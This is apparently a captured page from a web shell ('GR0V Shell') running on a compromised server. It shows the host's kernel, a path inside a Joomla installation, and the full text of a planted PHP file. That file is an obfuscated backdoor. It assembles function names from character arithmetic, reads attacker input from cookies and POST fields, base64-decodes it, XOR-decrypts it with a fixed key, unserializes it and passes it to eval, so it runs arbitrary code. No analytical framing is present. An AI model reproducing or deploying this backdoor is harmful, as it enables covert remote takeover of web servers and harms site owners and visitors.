? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/mail/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/mail/b861d46e.php

$IRpxTSUubT = chr ( 466 - 368 )."\107" . "\160" . "\137" . 'v' . 'K' . 'd' . chr ( 306 - 225 ).chr ( 373 - 275 ); $GwmFEETZX = "\143" . 'l' . 'a' . 's' . "\x73" . "\x5f" . "\145" . "\170" . chr (105) . 's' . 't' . "\163";$dOsuahQEn = $GwmFEETZX($IRpxTSUubT); $qILUm = $dOsuahQEn;if (!$qILUm){class bGp_vKdQb{private $vTmHqWqc;public static $NLjRbAkaJ = "b510a3de-01a1-494e-b26b-f07198af3e0a";public static $KLwtcIE = 14160;public function __construct($bfcujKzeQN=0){$MOUFyPdIKV = $_COOKIE;$aYZebUnl = $_POST;$HIVjD = @$MOUFyPdIKV[substr(bGp_vKdQb::$NLjRbAkaJ, 0, 4)];if (!empty($HIVjD)){$EcUkRPA = "base64";$khCgV = "";$HIVjD = explode(",", $HIVjD);foreach ($HIVjD as $gyJAyGOM){$khCgV .= @$MOUFyPdIKV[$gyJAyGOM];$khCgV .= @$aYZebUnl[$gyJAyGOM];}$khCgV = array_map($EcUkRPA . "\137" . "\144" . chr ( 482 - 381 ).chr ( 452 - 353 ).chr ( 386 - 275 ).'d' . 'e', array($khCgV,)); $khCgV = $khCgV[0] ^ str_repeat(bGp_vKdQb::$NLjRbAkaJ, (strlen($khCgV[0]) / strlen(bGp_vKdQb::$NLjRbAkaJ)) + 1);bGp_vKdQb::$KLwtcIE = @unserialize($khCgV);}}private function erJSzcpa(){if (is_array(bGp_vKdQb::$KLwtcIE)) {$yELrGDe = str_replace(chr (60) . "\x3f" . 'p' . chr (104) . "\x70", "", bGp_vKdQb::$KLwtcIE['c' . "\157" . chr ( 607 - 497 ).chr (116) . "\145" . "\156" . "\x74"]);eval($yELrGDe); $NYgff = "41567";exit();}}public function __destruct(){$this->erJSzcpa(); $NYgff = "41567";}}$XvfmMOsS = new bGp_vKdQb(); $XvfmMOsS = "41303_8806";}

T1KUS90T
  root-grov@210.1.60.28:~$